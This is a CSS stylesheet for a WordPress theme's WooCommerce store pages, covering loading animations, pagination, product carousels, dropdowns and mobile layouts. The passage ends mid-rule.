.woocommerce .penci-active-filters .widget_layered_nav_filters ul li a:hover:before {
	color: var(--pcaccent-cl);
}
@keyframes bubble {
	0%, 100% {
		transform: scale(0)
	}
	50% {
		transform: scale(1)
	}
}
@-webkit-keyframes bubble {
	0%, 100% {
		transform: scale(0)
	}
	50% {
		transform: scale(1)
	}
}
.penci-loading-icon {
	display: flex;
	justify-content: center;
	align-items: center;
	text-align: center;
	vertical-align: middle;
}
.penci-loading-icon * {
	-webkit-animation-play-state: paused;
	animation-play-state: paused
}
.penci-loading-icon .bubble:after {
	display: block;
	width: 100%;
	height: 100%;
	content: '';
	transform-origin: 50% 50%;
	-webkit-animation: bubble 1.2s -.6s infinite ease-out;
	animation: bubble 1.2s -.6s infinite ease-out;
	border-radius: 50%;
	background-color: var(--pcbg-cl);
}
.penci-products-preloader > .penci-loading-icon .bubble:after {
	background-color: var(--pctext-cl);
}
.penci-loading-icon .bubble {
	display: inline-block;
	width: 10px;
	height: 10px;
	margin: 0 5px
}
.penci-loading-icon .bubble:nth-child(2n):after {
	-webkit-animation-delay: -.3s;
	animation-delay: -.3s
}
.penci-loading-icon .bubble:nth-child(3n):after {
	-webkit-animation-delay: 0s;
	animation-delay: 0s
}
.button {
	position: relative;
}
.button .penci-loading-icon {
	position: absolute;
	z-index: 2;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	transition: opacity 0.3s ease-in-out;
	opacity: 0;
}
.woocommerce .button.has-new-preload.loading:before,
.woocommerce .button.has-new-preload.loading:after {
	display: none;
}
.woocommerce .button.has-new-preload.loading,
.woocommerce div.product form.cart .button.has-new-preload.loading,
.woocommerce div.product form.cart .button.has-new-preload.loading:hover {
	color: transparent !important;
}
.woocommerce .button.has-new-preload.loading .penci-loading-icon {
	opacity: 1;
}
.woocommerce div.product form.cart .variations {
	margin-bottom: 0;
}
.woocommerce div.product form.cart .variations .penci-swatches {
	display: inline-block;
	vertical-align: top;
}
.pswp {
	z-index: 99999;
}
.woocommerce .return-to-shop .button {
	padding-top: 0;
	padding-bottom: 0;
}
.woocommerce .woocommerce-checkout-review-order-table th {
	border-bottom: 0;
}
.penci-woo-page-container.next_previous {
	position: relative;
}
.penci-woo-page-container.next_previous .woocommerce-pagination {
	margin: 0;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li {
	margin: 0;
	line-height: 28px;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li span {
	display: none;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
	display: block;
	margin: 0 5px;
	border: 0;
}
.penci-woo-page-container.next_previous ul.products {
	position: relative;
	z-index: 99;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li {
	display: initial;
	margin: 0;
	padding: 0;
	overflow: visible;
	position: static;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
	font-size: 0;
	position: absolute;
	width: 50px;
	height: 50px;
	top: 50%;
	z-index: 999;
	right: -40px;
	text-align: center;
	transform: translate(30px, 0);
	transition: 0.3s all ease-in-out;
	margin: -55px 0 0 0;
	opacity: 0;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers {
	right: auto;
	left: -40px;
	transform: translate(-30px, 0);
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers:before,
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers:before {
	content: '\f11a';
	font-family: "penciicon", serif;
	font-size: 24px;
	line-height: 50px;
}
.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers:before {
	content: '\f11b';
}
.penci-woo-page-container.next_previous:hover .woocommerce-pagination .page-numbers li a.prev.page-numbers,
.penci-woo-page-container.next_previous:hover .woocommerce-pagination .page-numbers li a.next.page-numbers {
	transform: translate(0, 0);
	opacity: 1;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
		transform: translate(0, 0);
		opacity: 1;
	}
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers {
		right: 0;
	}
	.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers {
		right: auto;
		left: 0;
	}
}
.woocommerce ul.products.penci-owl-carousel {
	flex-wrap: nowrap;
	overflow: hidden;
}
.woocommerce ul.products.penci-owl-carousel.penci-owl-loaded {
	flex-wrap: wrap;
}
.woocommerce ul.products.penci-owl-carousel.penci-owl-loaded li.product {
	width: 100%;
}
.select2-container .select2-selection--single .select2-selection__rendered {
	padding-left: 20px;
}
.select2-results__option {
	padding: 6px 20px;
}
.select2-search--dropdown {
	padding: 4px 20px;
}
.select2-container--default .select2-search--dropdown .select2-search__field {
	border-color: var(--pcpage_gbdr_cl);
}
.select2-search--dropdown .select2-search__field {
	padding: 10px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	right: 15px;
}
.select2-container--default .select2-results__option--highlighted[aria-selected], .select2-container--default .select2-results__option--highlighted[data-selected] {
	background-color: var(--pcaccent-cl);
}
.penci-scroll ::-webkit-scrollbar,
.penci-scroll::-webkit-scrollbar,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar,
.quick-shop-form::-webkit-scrollbar,
.sidebar-filter-container ::-webkit-scrollbar,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar {
	width: 5px;
}
.penci-scroll ::-webkit-scrollbar-track,
.penci-scroll::-webkit-scrollbar-track,
.sidebar-filter-container ::-webkit-scrollbar-track,
.quick-shop-form::-webkit-scrollbar-track,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar-track,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar-track,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar-track {
	background-color: var(--penci-scrollbar-track-bg);
}
.penci-scroll ::-webkit-scrollbar-thumb,
.penci-scroll::-webkit-scrollbar-thumb,
.sidebar-filter-container ::-webkit-scrollbar-thumb,
.quick-shop-form::-webkit-scrollbar-thumb,
.penci-products-compare-table.penci-multicompare ::-webkit-scrollbar-thumb,
.sidebar-cart-container .widget_shopping_cart_content ::-webkit-scrollbar-thumb,
.penci-header-cart-detail .widget_shopping_cart_content ::-webkit-scrollbar-thumb {
	background-color: var(--penci-scrollbar-thumb-bg);
}
.tippy-box[data-placement^="top"] {
	top: 4px;
}
.tippy-box[data-placement^="left"] {
	left: 4px;
}
.tippy-box[data-placement^="right"] {
	right: 4px;
}
.tippy-box[data-placement^="bottom"] {
	bottom: 4px;
}
.woocommerce div.product .related > h2, .woocommerce div.product .upsells > h2 {
	border-bottom-color: var(--pcpage_gbdr_cl);
}
.dark-layout-enabled .penci-woo-before-main-content .penci-products-per-page a {
	color: var(--pcmeta-cl);
}
.dark-layout-enabled .penci-woo-before-main-content .penci-products-shop-view .current-variation svg.icon {
	fill: rgba(255, 255, 255, .9);
}
.dark-layout-enabled .variations select,
.dark-layout-enabled .woocommerce-ordering select,
.dark-layout-enabled .penci-widget-layered-nav-dropdown-form select {
	background-color: transparent;
	color: var(--pctext-cl);
}
.dark-layout-enabled .penci-top-relate-post ul li.item-shop-link svg {
	fill: var(--pcmeta-cl);
}
.woocommerce form .form-row textarea.input-text,
.woocommerce-page form .form-row textarea.input-text
.woocommerce form .form-row textarea {
	padding-top: 10px;
	padding-bottom: 10px;
}
.woocommerce-MyAccount-content fieldset {
	padding: 30px;
	margin-bottom: 30px;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce-MyAccount-content label {
	font-weight: bold;
}
.woocommerce-MyAccount-content fieldset legend {
	background-color: var(--pcbg-cl);
	display: inline-block;
	padding: 0 10px;
	font-weight: bold;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info,
.woocommerce .woocommerce-MyAccount-content .woocommerce-message {
	display: flex;
	justify-content: space-between;
	align-items: center;
	flex-wrap: wrap;
	flex-direction: row-reverse;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error:before,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info:before,
.woocommerce .woocommerce-MyAccount-content .woocommerce-message:before {
	top: 0;
	bottom: 0;
	display: flex;
	align-items: center;
}
.woocommerce .woocommerce-MyAccount-content .woocommerce-error:after,
.woocommerce .woocommerce-MyAccount-content .woocommerce-info:after,
.woocommerce .woocommerce-MyAccount-content .woocommerce-message:after {
	display: none;
}
@media only screen and (max-width: 767px) {
	.woocommerce-MyAccount-content .woocommerce-account .woocommerce-MyAccount-content,
	.woocommerce-account .woocommerce-MyAccount-navigation {
		float: none;
		width: 100%;
	}
	.woocommerce .woocommerce-MyAccount-content .woocommerce-error,
	.woocommerce .woocommerce-MyAccount-content .woocommerce-info,
	.woocommerce .woocommerce-MyAccount-content .woocommerce-message {
		flex-direction: column-reverse;
	}
	ul.products .penci-soledad-product .penci-product-loop-button a.button.penci-quickview-button,
	ul.products .penci-soledad-product .penci-product-loop-button a.button.penci-compare {
		display: none;
	}
}
@media only screen and (min-width: 961px) {
	.woocommerce .penci_sidebar div.product.penci-product-img-fullwidth-container div.summary,
	.woocommerce-page .penci_sidebar div.product.penci-product-img-fullwidth-container div.summary,
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		max-width: var(--pc-sf-sum-w);
		width: auto;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (min-width: 728px) and (max-width: 960px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 726px;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (min-width: 480px) and (max-width: 767px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 440px;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (max-width: 479px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 100%;
	}
	.woocommerce .penci-woo-page-container {
		padding-left: 20px;
		padding-right: 20px;
	}
	.woocommerce.penci-products-tabs .penci-woo-page-container {
		padding-left: 0;
		padding-right: 0;
	}
}
.woocommerce .products ul.penci-woo-product-loop-categories {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	margin-bottom: 60px;
	padding-bottom: 30px;
	position: relative;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.columns-4 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.columns-4 li.product {
	width: 25%;
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel {
	flex-wrap: nowrap;
	overflow: hidden;
	margin-left: 0;
	margin-right: 0;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-6 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-6 li.product {
	width: calc(16.6666666667% - 25px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-5 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-5 li.product {
	width: calc(20% - 24px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-4 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-4 li.product {
	width: calc(25% - 22px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-3 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-3 li.product {
	width: calc(33.3333333333% - 20px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-2 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-2 li.product {
	width: calc(50% - 15px);
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel.penci-owl-loaded {
	flex-wrap: wrap;
	overflow: visible;
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel li {
	margin-bottom: 0;
	padding: 1px;
	margin-right: 30px;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product-category .woocommerce-loop-category__wrapper {
		padding: 10px;
	}
	.woocommerce ul.products li.product .woocommerce-loop-category__title {
		font-size: var(--pcl_l_cat_tt_fs_m);
	}
	.woocommerce ul.products li.product span.count {
		font-size: var(--pcl_l_cat_fs_m);
	}
}
@media only screen and (min-width: 767px) {
	.woocommerce .products ul.penci-woo-product-loop-categories {
		padding-left: 15px;
		padding-right: 15px;
	}
}
.woocommerce .products ul.penci-woo-product-loop-categories:after {
	content: '';
	position: absolute;
	bottom: 0;
	left: 30px;
	right: 30px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
	display: block;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.penci-woo-product-loop-categories.penci-owl-carousel:after {
	left: 15px;
	right: 15px;
}
@media only screen and (min-width: 1170px) and (max-width: 1399px) {
	.woocommerce ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-6:not(.display-style-carousel) li.product {
		margin-right: 0;
		width: 20%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products ul.penci-woo-product-loop-categories.penci-woo-product-loop-categories:after {
		left: 0;
		right: 0;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) ul.products.penci-woo-product-loop-categories.penci-owl-carousel li.product-category,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) ul.products.penci-woo-product-loop-categories.penci-owl-carousel li.product-category {
		width: calc(50% - 10px) !important;
		margin-right: 20px !important;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category {
		width: 100% !important;
		margin-right: 0 !important;
	}
	.pswp {
		z-index: 99999999;
	}
}
@media only screen and (min-width: 768px) and (max-width: 1169px) {
	.woocommerce ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) li.product{
		margin-right: 0;
		width: 33.3333333333%;
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce ul.products.columns-4:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-4:not(.display-style-carousel) li.product {
		margin-right: 0;
		width: 33.3333333333%;
	}
	.woocommerce ul.products.columns-5:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce ul.products.columns-4:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-4:not(.display-style-carousel) > li.product:nth-child( 4n+4 ) {
		margin-right: 0;
	}
	.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel:not(.penci-owl-loaded) li {
		margin-right: 30px !important;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .product.penci-product-img-medium div.images,
	.woocommerce .product.penci-product-img-medium div.summary {
		float: none;
		width: 100%;
	}
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
		top: 10px;
		right: auto;
		bottom: auto;
		left: 10px;
	}
	.penci-review-style-default #comments,
	.penci-review-style-default #review_form_wrapper {
		flex: 100%;
		max-width: 100%;
	}
	.penci-review-style-default #review_form_wrapper {
		margin-top: 30px;
	}
	.penci-products-shop-view.products-view-grid_list {
		display: none;
	}
	.penci-woo-before-main-content .woocommerce-ordering {
		width: 5%;
		flex: 0 0 auto;
	}
	.penci-woo-before-main-inner-content.content-right {
		padding-top: 15px;
		border-top: 1px solid #ECECEC;
	}
	.penci-woo-before-main-inner-content.content-right .penci-products-per-page {
		font-weight: bold;
		text-transform: uppercase;
	}
	.penci-woo-before-main-inner-content .penci-product-top-filter-button {
		margin-right: 0;
	}
	.woocommerce .widget .woocommerce-ordering,
	.woocommerce-page .widget .woocommerce-ordering {
		float: none;
		width: 100%;
	}
	.woocommerce .widget .woocommerce-ordering select,
	.woocommerce-page .widget .woocommerce-ordering select {
		width: 100%;
		max-width: unset;
	}
	.woocommerce nav.woocommerce-pagination ul li,
	.woocommerce .woocommerce-pagination ul.page-numbers li,
	.woocommerce-page .woocommerce-pagination ul.page-numbers li {
		float: none;
	}
	.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel:not(.penci-owl-loaded) li {
		margin-right: 30px !important;
	}
	body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form, body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
		padding-left: 0;
		padding-right: 0;
	}
}
@media only screen and (min-width: 479px) and (max-width: 767px) {
	.penci-woo-before-main-inner-content.content-left {
		padding-top: 15px;
	}
}
@media only screen and (max-width: 767px) {
	.container.penci-breadcrumb.penci-woo-breadcrumb.top {
		padding: 0;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) {
		margin-left: -5px;
		margin-right: -5px;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product {
		width: 50% !important;
		margin-right: 0 !important;
		margin-bottom: 15px;
		padding-left: 5px;
		padding-right: 5px;
	}
	.woocommerce ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce .penci_sidebar ul.mobile-columns-2 > li.product:nth-child(2n+2),
	.woocommerce-page .penci_sidebar ul.mobile-columns-2 > li.product:nth-child(2n+2) {
		margin-right: 0 !important;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content {
		flex: 100%;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left {
		justify-content: space-between;
		padding-top: 10px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left .penci-container-inside.penci-woo-breadcrumb, .container.penci-woo-breadcrumb {
		width: 50% !important;
	}
	body.single-product .penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left .penci-container-inside.penci-woo-breadcrumb,
	body.single-product .container.penci-woo-breadcrumb {
		width: 100% !important;
	}
	body.woocommerce-page .woocommerce-products-header {
		margin-left: -20px;
		margin-right: -20px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content {
		padding-left: 20px;
		padding-right: 20px;
	}
	.penci-product-top-filter-button {
		margin-left: 0;
	}
	.woocommerce .content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
		width: auto !important;
	}
	.woocommerce .penci-woo-before-main-inner-content.content-left .woocommerce-result-count {
		margin: 0;
		font-size: 13px;
		text-align: right;
		align-self: center;
		display: flex;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		justify-content: space-between;
		margin-top: 15px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-products-per-page {
		display: none;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-products-per-page,
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering {
		flex: 0 0 48%;
		max-width: 48%;
		margin: 0;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering {
		width: 30px;
		flex: 0 0 auto;
		position: relative;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering select {
		opacity: 0;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering:before {
		opacity: 1;
		content: '\f16b';
		transform: rotate(90deg);
		font-family: 'penciicon', serif;
		position: absolute;
		text-align: center;
		line-height: 30px;
		font-size: 18px;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}
	.variations select,
	.woocommerce-ordering select {
		width: 100%;
		max-width: 160px;
	}
	body.single.single-product #header,
	body.post-type-archive-product #header {
		margin-bottom: 15px;
	}
	body.single.single-product #header {
		margin-bottom: 0;
	}
	.woocommerce div.product div.images,
	.woocommerce div.product div.summary {
		margin-bottom: 15px;
	}
	.woocommerce div.product div.summary .penci-woo-breadcrumb {
		overflow-x: scroll;
		margin-bottom: 15px;
		white-space: nowrap;
	}
	.penci-top-relate-post {
		position: relative;
	}
	.penci-top-relate-post ul {
		justify-content: space-between;
		margin-bottom: 15px;
		padding-bottom: 15px;
		border-bottom: 1px solid var(--pcborder-cl);
	}
	body.tax-product_cat #header {
		margin-bottom: 10px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider {
		margin-left: 0;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider {
		margin-right: 0;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
		position: relative;
		top: 0;
		right: 0;
		bottom: 0;
		left: 0;
		width: 100%;
		height: auto;
		margin-top: 10px;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav {
		position: static;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
		width: 50px;
		height: 50px;
		background-color: transparent;
		position: absolute;
		top: 50%;
		bottom: 50%;
		margin-top: -25px;
		left: 0;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
		background-color: transparent;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next {
		left: auto;
		right: 0;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-prev i,
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next i {
		transform: rotate(270deg);
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .splide__track {
		/*display: flex;
		justify-content: center;*/
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .splide__track figure.splide__slide {
		padding-left: 5px;
		padding-right: 5px;
	}
	.woocommerce div.penci-product-img-fullwidth-container figure.splide__slide {
		opacity: 1;
	}
}
.woocommerce.product-layout-carousel ul.products li.product {
	margin-bottom: 0;
}
.woocommerce-single-tab-content.post-entry {
	margin-bottom: 0;
}
.elementor-widget-penci_products .penci-custom-products .penci-products-preloader {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 999999;
	display: flex;
	justify-content: center;
	align-items: center;
	visibility: hidden;
}
.elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products {
	opacity: 0;
}
.elementor-widget-penci_products .pre-load-content .penci-custom-products .penci-products-preloader {
	visibility: visible;
}
body #main .elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products,
.elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products {
	opacity: 0.5;
	pointer-events: none;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
	padding-left: 0;
	border-left: 0;
	display: none;
}
.woocommerce ul.cart_list li dl dt, .woocommerce ul.cart_list li dl dd, .woocommerce ul.product_list_widget li dl dt, .woocommerce ul.product_list_widget li dl dd {
	float: none;
}
.woocommerce ul.cart_list li dl dt, .woocommerce ul.product_list_widget li dl dt {
	margin: 0;
	padding: 0;
}
.woocommerce div.product .quick-shop-wrapper .variations_form,
.quick-shop-wrapper .variations_form {
	transition: margin-bottom .3s ease;
	width: 100%;
}
.woocommerce div.product .quick-shop-wrapper form.cart .reset_variations,
.quick-shop-wrapper .variations_form a.reset_variations {
	margin-left: 0;
	margin-right: 0;
	position: absolute;
	left: 50%;
	bottom: -30px;
	transform: translateX(-50%);
	width: 100%;
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .quick-shop-wrapper form.cart .reset_variations,
	.quick-shop-wrapper .variations_form a.reset_variations {
		bottom: 30px;
		top: 30px;
	}
}
.quick-shop-wrapper .variations_form .penci-swatches .swatch {
	margin-bottom: 5px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations select {
	margin-bottom: 0;
	margin-right: 0;
}
.woocommerce div.product .quick-shop-wrapper form.cart.has-selected-swatch,
.quick-shop-wrapper .variations_form.has-selected-swatch {
	margin-bottom: 40px;
}
.penci-thumbnail-image-wrapper:not(.swiper-initialized) figure {
	display: inline-block;
	max-width: 100px;
	max-height: 100px;
	height: auto;
	padding-bottom: 6px;
	opacity: 1;
}
.thumbnail-right .penci-thumbnail-image-wrapper figure,
.thumbnail-left .penci-thumbnail-image-wrapper figure {
	height: 100% !important;
	max-height: 107.8px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-wrapper figure {
	max-width: 106px;
	margin-right: 10px;
}
.penci-content-quickview .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-wrapper figure {
	max-width: 82.6px;
}
.woocommerce div.product div.images.no-js .woocommerce-product-gallery__wrapper:not(:first-child) {
	display: none;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .woocommerce-product-gallery__wrapper {
	flex: 0 0 auto;
	width: calc(33.3333333333% - 20px);
	margin-right: 30px;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .woocommerce-product-gallery__wrapper:not(:first-child) {
	display: block;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .penci-gallery-image-list {
	display: flex;
	overflow: hidden;
}
.woocommerce .woocommerce-ordering select,
.woocommerce ul.cart_list li div.quantity .qty, .woocommerce ul.cart_list li div.quantity input[type="number"], .woocommerce ul.cart_list li div.quantity input[type="button"], .woocommerce ul.product_list_widget div.quantity input[type="button"] {
	background-color: transparent;
}
.woocommerce .slider > ul.products,
.products.slider ul.products,
.products.slider ul.products.penci-owl-carousel-slider {
	flex-wrap: nowrap;
	overflow: hidden;
	margin-right: 0;
	margin-left: 0;
}
.woocommerce .slider > ul.products li,
.slider > ul.products.penci-owl-carousel-slider li,
.products.slider ul.products.penci-owl-carousel-slider li {
	padding: 0;
	margin-right: 30px;
	float: none;
	flex-shrink: 0;
}
.products.penci-owl-carousel:not(.penci-owl-loaded) > .swiper-wrapper {
	display: flex;
	flex-wrap: nowrap;
	overflow: hidden;
}
.woocommerce .slider > ul.products.columns-2 li,
.slider > ul.products.penci-owl-carousel-slider.columns-2 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-2 li {
	width: calc(50% - 15px);
}
.woocommerce .slider > ul.products.columns-3 li,
.slider > ul.products.penci-owl-carousel-slider.columns-3 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-3 li {
	width: calc(33.3333333333% - 20px);
}
.woocommerce .slider > ul.products.columns-4 li,
.slider > ul.products.penci-owl-carousel-slider.columns-4 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-4 li {
	width: calc(25% - 22.5px);
}
.woocommerce .slider > ul.products.columns-5 li,
.slider > ul.products.penci-owl-carousel-slider.columns-5 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-5 li {
	width: calc(20% - 24px);
}
.woocommerce .slider > ul.products.columns-6 li,
.slider > ul.products.penci-owl-carousel-slider.columns-6 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-6 li {
	width: calc(16.6666666667% - 25px);
}
.woocommerce .slider > ul.products.penci-owl-carousel-slider.penci-owl-loaded,
.products.slider ul.products.penci-owl-carousel-slider.penci-owl-loaded {
	flex-wrap: wrap;
}
.woocommerce .slider > ul.products.penci-owl-carousel-slider.penci-owl-loaded li.product,
.products.slider ul.products.penci-owl-carousel-slider.penci-owl-loaded li.product {
	width: 100%;
	margin-right: 0;
	padding: 0;
}
@media only screen and (max-width: 767px) {
	html .woocommerce .products.slider > ul.products.mobile-columns-2 > li.product,
	html .woocommerce-page .products.slider > ul.products.mobile-columns-2 > li.product,
